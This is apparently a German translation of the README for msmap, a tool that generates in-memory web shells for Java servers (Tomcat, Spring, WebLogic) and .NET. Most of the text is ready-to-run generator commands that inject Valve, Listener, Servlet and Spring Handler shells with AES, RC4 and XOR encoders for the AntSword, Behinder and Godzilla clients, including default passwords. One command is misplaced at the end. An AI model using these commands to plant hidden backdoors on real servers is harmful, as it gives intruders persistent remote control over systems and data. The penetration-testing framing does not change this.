
Modularer In-Memory-Webshell-Generator, der Java-Container (Tomcat, Spring, WebLogic) unterstützt, mit mehreren Shell-Typen, Encodern und automatischer Kompilierung für Post-Exploitation-Penetrationstests.
Msmap ist ein Memory-WebShell-Generator. Kompatibel mit verschiedenen Containern, Komponenten, Encodern, WebShell / Proxy / Killer und Management-Clients. 简体中文
Die Idee dahinter I, Die Idee dahinter II, Die Idee dahinter III



*: SpringHandler wird nur für JDK8+ unterstützt
*: JVM unterstützt standardmäßig Linux Tomcat 8/9, weitere Versionen können gemäß dem erweiterten Leitfaden angepasst werden.
WebShell
Keine Notwendigkeit für Modularität
Proxy: Neo-reGeorg, wsproxy
Killer: java-memshell-scanner, ASP.NET-Memshell-Scanner
git clone [email protected]:hosch3n/msmap.git
cd msmap
python generator.py
[Warnung] Es MUSS ein eindeutiges Passwort gesetzt werden, Optionen sind case-sensitiv.
Bearbeite config/environment.py
# Auto Compile
auto_build = True
# Base64 Encode Class File
b64_class = True
# Generate Script File
generate_script = True
# Compiler Absolute Path
java_compiler_path = r"~/jdk1.6.0_04/bin/javac"
dotnet_compiler_path = r"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"
Bearbeite gist/java/container/tomcat/servlet.py
// Servlet Path Pattern
private static String pattern = "*.xml";
Wenn ein Verschlüsselungs-Encoder in WsFilter verwendet wird, muss das Passwort mit dem Pfad übereinstimmen (z.B. /passwd)
gist/java/container/jdk/javax.py mit lib/servlet-api.jar kann je nach Zielcontainer ersetzt werden.
pip3 install pyperclip, um automatisches Kopieren in die Zwischenablage zu unterstützen.
Befehl mit Base64-Encoder | Tomcat Valve injizieren
python generator.py Java Tomcat Valve Base64 CMD passwd
Typ JSP mit Standard-Encoder | Tomcat Valve injizieren
python generator.py Java Tomcat Valve RAW AntSword passwd
Typ JSP mit aes_128_ecb_pkcs7_padding_md5-Encoder | Tomcat Listener injizieren
python generator.py Java Tomcat Listener AES128 AntSword passwd
Typ JSP mit rc_4_sha256-Encoder | Tomcat Servlet injizieren
python generator.py Java Tomcat Servlet RC4 AntSword passwd
Typ JSP mit xor_md5-Encoder | AgentFiless HttpServlet injizieren
python generator.py Java JDK JavaX XOR AntSword passwd
Typ JSPJS mit aes_128_ecb_pkcs7_padding_md5-Encoder | Tomcat WsFilter injizieren
python generator.py Java Tomcat WsFilter AES128 JSPJS passwd
Typ JSPJS mit xor_md5-Encoder | Spring Handler injizieren
Typ default_aes | Tomcat Valve injizieren
python generator.py Java Tomcat Valve AES128 Behinder rebeyond
Typ default_xor_base64 | Spring Interceptor injizieren
python generator.py Java Spring Interceptor XOR Behinder rebeyond
Typ JAVA_AES_BASE64 | Tomcat Valve injizieren
python generator.py Java Tomcat Valve AES128 Godzilla superidol
Typ JAVA_AES_BASE64 | AgentFiless HttpServlet injizieren
python generator.py Java JDK JavaX AES128 Godzilla superidol
Typ JAVA_AES_BASE64 | Spring Handler injizieren
python generator.py Java Spring Handler AES128 Godzilla superidol
Behinder | wsMemShell | ysomap
python generator.py Java Spring Handler XOR JSPJS passwd